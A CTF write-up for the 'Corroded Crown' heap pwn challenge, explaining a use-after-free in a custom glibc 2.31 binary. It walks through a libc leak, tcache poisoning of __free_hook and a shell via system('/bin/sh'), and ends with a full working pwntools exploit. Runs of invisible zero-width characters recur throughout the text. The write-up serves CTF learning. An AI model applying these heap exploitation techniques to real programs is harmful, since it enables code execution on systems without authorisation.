← Back to Writeups
CUSTOMMediumpwn

The Corroded Crown

XESXOR9/2/20266 min read
#pwn#custom#medium#use_after_free#unsorted_bin_libc_leak#tcache_poisoning#free_hook_overwrite#system_binsh#guard_chunk_against_top_consol#linux

The Corroded Crown

Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: use_after_free, unsorted_bin_libc_leak, tcache_poisoning, free_hook_overwrite, system_binsh, guard_chunk_against_top_consolidation

Summary

Task: menu-driven heap allocator (forge/inscribe/inspect/destroy) with a use-after-free because read/write operations ignore the in_use flag and free never nulls the pointer, on glibc 2.31. Solution: UAF read on an unsorted-bin chunk leaks libc, then tcache poisoning (no safe-linking) redirects an allocation onto __free_hook, overwriting it with system and triggering free() on a /bin/sh chunk for a shell.

The Corroded Crown — CACTF2026

Description

When the Signet shattered, Crownspire's oaths didn't die. They got imitated. Houses started turning out claims so immaculate they felt wrong in the hand, too perfect and too eager to be believed. The Corroded Crown was the old forge where the Signet's fragments were first shaped, a sanctified mechanism of authority now rusted and corrupted. Its relics still carry the old geometry, but the tolerances are off. Perfect face, wrong spine. Rin has found her way into the forge's service throat. The locks here are still called 'sanctified,' but she knows the tell by now. Someone has been refitting these holy mechanisms with new tolerances, quietly changing who gets let in once panic has everyone begging at the door. She isn't here to smash the system. She's here to make it accept the wrong truth. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A classic menu-driven glibc heap challenge. We are given an ELF binary plus a bundled glibc 2.31-0ubuntu9.17. The menu manages "relics" (heap chunks): forge (malloc), inscribe (write), inspect (read), destroy (free). The goal is to obtain a shell on the remote service and read the flag.

The flavor text is a strong semantic hint:

  • "Perfect face, wrong spine" = a chunk with a valid header/metadata but a corrupted fd (forward) pointer — i.e. tcache poisoning.
  • "make it accept the wrong truth" = poison the tcache freelist fd so the allocator hands back an arbitrary attacker-chosen address. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Binary / Protections

  • ELF 64-bit, x86-64, PIE, dynamically linked, not stripped, BuildID 41ca0dbfab753505915afb78ebf357ab3616531e.
  • Protections: Full RELRO, stack canary, NX.
  • Uses the provided glibc 2.31-0ubuntu9.17 via RUNPATH ./glibc/. This glibc still has a writable __free_hook and no tcache safe-linking (both were removed later), which makes the intended technique clean.

Global state lives in .bss at 0x4040: an array relic[64], each entry 16 bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
struct relic { void *ptr; int size; char in_use; };

Index is bounds-checked to 0..63 everywhere.

Menu functions

  • forge_relic (0x121c) — malloc: reads index (0..63) and size (>= 0, otherwise arbitrary), checks relic[idx].in_use == 0, calls malloc(size) with an attacker-controlled arbitrary size, stores ptr/size, sets in_use = 1.
  • inscribe_relic (0x139d) — write: reads index, then read(0, relic[idx].ptr, relic[idx].size). Reads exactly size bytes (blocking). Does NOT check in_use → UAF write / tcache fd overwrite. Prompt: Press your inscription into the metal (N bytes):.
  • inspect_relic (0x14ba) — read: reads index, then write(1, relic[idx].ptr, relic[idx].size). Does NOT check in_use → UAF read / info leak. Prints [*] Relic [%d]: then raw bytes then a newline.
  • destroy_relic (0x15b0) — free: reads index, checks in_use == 1, free(ptr), sets in_use = 0, but does NOT null the pointer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Use-After-Free. inscribe and inspect operate on the stored pointer without checking in_use, and destroy frees a chunk without clearing the stored pointer. Therefore, after destroy(), the same slot can still be:

  • read → leak whatever the allocator wrote into the freed chunk (unsorted-bin fd/bk = libc pointers), and
  • written → corrupt heap metadata, specifically overwrite the tcache fd of a freed chunk.

Because forge accepts arbitrary sizes, we can freely target the unsorted bin (for the libc leak) and any tcache bin (for the poison). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation (3 stages)

Proven working against the remote service.

Stage 1 — libc leak via the unsorted bin

A chunk larger than the tcache maximum (0x408) is not cached in tcache on free; it goes to the unsorted bin, where its fd points into main_arena (main_arena + 0x60). A small guard chunk is allocated afterwards so the freed large chunk does not consolidate with the top chunk.

text
forge(0, 0x500)   # > tcache max, so free() routes to the unsorted bin
forge(1, 0x20)    # guard chunk, prevents top consolidation
destroy(0)        # chunk -> unsorted bin; fd = main_arena + 0x60 (slot ptr retained)
inspect(0, 8)     # UAF read leaks main_arena + 0x60

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Deriving the libc base for this glibc:

  • main_arena = __malloc_hook + 0x10
  • unsorted-bin fd = main_arena + 0x60
  • therefore libc.base = leak - (__malloc_hook + 0x10 + 0x60)

For 2.31-0ubuntu9.17 that offset constant equals 0x1ecbe0. The result is asserted to be page-aligned.

Stage 2 — tcache poisoning of __free_hook

With no safe-linking in glibc 2.31, the tcache fd is a raw pointer, so a UAF write directly redirects the freelist.

text
SZ = 0x50
forge(2, SZ); forge(3, SZ)
destroy(3); destroy(2)          # tcache[SZ] head: chunk2 -> chunk3
inscribe(2, p64(__free_hook), SZ)   # UAF write: chunk2.fd = __free_hook
forge(4, SZ)                    # pops chunk2 off the freelist
forge(5, SZ)                    # returns __free_hook as the user pointer
inscribe(5, p64(system), SZ)    # writes system() into __free_hook

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 3 — trigger system("/bin/sh")

text
forge(6, 0x30)
inscribe(6, "/bin/sh\0", 0x30)
destroy(6)   # free(ptr) invokes __free_hook(ptr) = system("/bin/sh")

This drops a shell as the ctf user; cat flag yields the flag.

Gotchas

These cost real debugging time and are worth remembering:

  1. inscribe uses read() which consumes exactly relic[idx].size bytes; sending fewer bytes without a newline hangs the interaction. Always pad the payload to the chunk size (d.ljust(size, b'\x00')).
  2. The inscribe surface prompt is printed before the index prompt; synchronize on ): (the (N bytes): prompt) before sending the raw data.
  3. libc base derivation is leak - (__malloc_hook + 0x10 + 0x60) because the unsorted-bin fd points at main_arena + 0x60 and main_arena = __malloc_hook + 0x10 in glibc 2.31 (hardcoded constant 0x1ecbe0 for 2.31-0ubuntu9.17).
  4. Full RELRO means no GOT overwrite is possible; on glibc 2.31 the writable __free_hook is the clean single-write target. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit

python
#!/usr/bin/env python3
# The Corroded Crown - CACTF2026 (HTB) - glibc 2.31 UAF -> tcache poison __free_hook
# Usage: python3 exploit.py REMOTE HOST=<host> PORT=<port>
#   (run from extracted/challenge so ./glibc/libc.so.6 is found)
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./glibc/libc.so.6', checksec=False)

if args.REMOTE:
    io = remote(args.HOST, int(args.PORT))
else:
    io = process(['./corroded_crown'])

def forge(i, s):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'(index): ', str(i).encode())
    io.sendlineafter(b'(size): ',  str(s).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def inscribe(i, d, size):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'(index): ', str(i).encode())
    io.recvuntil(b'):')
    io.send(d.ljust(size, b'\x00'))     # read() consumes exactly `size` bytes

def inspect(i, n):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'(index): ', str(i).encode())
    io.recvuntil(b']: ')
    return io.recv(n)

def destroy(i):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'(index): ', str(i).encode())

# Stage 1: libc leak via unsorted bin (0x500 > tcache max; guard prevents top consolidation)
forge(0, 0x500)
forge(1, 0x20)
destroy(0)                      # UAF: slot ptr retained
leak = u64(inspect(0, 8)[:8].ljust(8, b'\x00'))   # fd = main_arena + 0x60
libc.address = leak - (libc.symbols['__malloc_hook'] + 0x10 + 0x60)
assert libc.address & 0xfff == 0
log.success('libc base = %#x', libc.address)
fh = libc.symbols['__free_hook']
system = libc.symbols['system']
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Stage 2: tcache poison __free_hook (no safe-linking in glibc 2.31)
SZ = 0x50
forge(2, SZ); forge(3, SZ)
destroy(3); destroy(2)          # tcache[SZ]: 2 -> 3
inscribe(2, p64(fh), SZ)        # overwrite chunk2.fd -> __free_hook
forge(4, SZ)                    # pops chunk2
forge(5, SZ)                    # returns __free_hook
inscribe(5, p64(system), SZ)    # __free_hook = system

# Stage 3: trigger system("/bin/sh")
forge(6, 0x30)
inscribe(6, b'/bin/sh\x00', 0x30)
destroy(6)                      # free(ptr) -> system("/bin/sh")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.sendline(b'cat flag* /flag* /home/*/flag* 2>/dev/null; echo ===DONE===; id')
print(io.recvrepeat(6).decode(errors='replace'))
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍